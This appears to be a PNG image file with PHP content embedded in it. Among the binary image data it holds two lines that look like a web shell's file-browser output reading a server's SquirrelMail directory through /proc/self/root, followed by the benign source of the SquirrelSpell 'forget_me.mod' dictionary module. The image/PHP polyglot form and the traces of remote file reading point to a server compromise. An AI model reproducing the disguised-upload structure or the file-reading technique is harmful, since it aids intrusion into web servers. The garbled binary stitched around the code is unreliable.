php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /proc/self/root/usr/share/squirrelmail/plugins/squirrelspell/modules/ |
| files >> //proc/self/root/usr/share/squirrelmail/plugins/squirrelspell/modules/forget_me.mod |
<?php
/**
* forget_me.mod
* --------------
* Squirrelspell module
*
* Copyright (c) 1999-2011 The SquirrelMail Project Team
* Licensed under the GNU GPL. For full terms see the file COPYING.
*
* This module deletes the words from the user dictionary. Called
* after EDIT_DIC module.
*
*
*
* @author Konstantin Riabitsev <icon@duke.edu>
* @version $Id: forget_me.mod 14084 2011-01-06 02:44:03Z pdontthink $
* @package plugins
* @subpackage squirrelspell
*/
global $SQSPELL_VERSION;
$words_ary = $_POST['words_ary'];
$sqspell_use_app = $_POST['sqspell_use_app'];
/**
* If something needs to be deleted, then $words_ary will be
* non-zero length.
*/
if (sizeof($words_ary)){
$words=sqspell_getWords();
$lang_words = sqspell_getLang($words, $sqspell_use_app);
$msg = '<p>'
. sprintf(_("Deleting the following entries from %s dictionary:"), '<strong>'.$sqspell_use_app.'</strong>')
. '</p>'
. "<ul>\n";
for ($i=0; $i<sizeof($words_ary); $i++){
/**
* Remove word by word...
*/
$lang_words=str_replace("$words_ary[$i]\n", "", $lang_words);
$msg .= '<li>' . htmlspecialchars($words_ary[$i]) . "</li>\n";
}
$new_words_ary=split("\n", $lang_words);
/**
* Wipe this lang, if only 2 members in array (no words left).
* # Language
* # End
*/
if (sizeof($new_words_ary)<=2) {
$lang_words='';
}
$new_lang_words = $lang_words;
/**
* Write the dictionary back to the disk.
*/
$langs=sqspell_getSettings($words);
$words_dic = "# SquirrelSpell User Dictionary $SQSPELL_VERSION\n# "
. "Last Revision: " . date("Y-m-d") . "\n# LANG: "
. join(", ", $langs) . "\n";
for ($i=0; $i<sizeof($langs); $i++){
/**
* Only rewrite the contents of the selected language.
* Otherwise just write the contents back.
*/
if ($langs[$i]==$sqspell_use_app) {
$lang_words = $new_lang_words;
} else {
$lang_words = sqspell_getLang($words, $langs[$i]);
}
if ($lang_words) {
$words_dic .= $lang_words;
}
}
$words_dic .= "# End\n";
sqspell_writeWords($words_dic);
$msg .= '</ul><p>' . _("All done!") . "</p>\n";
sqspell_makePage(_("Personal Dictionary Updated"), null, $msg);
} else {
/**
* Click on some words first, Einstein!
*/
sqspell_makePage(_("Personal Dictionary"), null,
'<p>' . _("No changes requested.") . '</p>');
}
/**
* For Emacs weenies:
* Local variables:
* mode: php
* End:
* vim: syntax=php
*/
?>
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`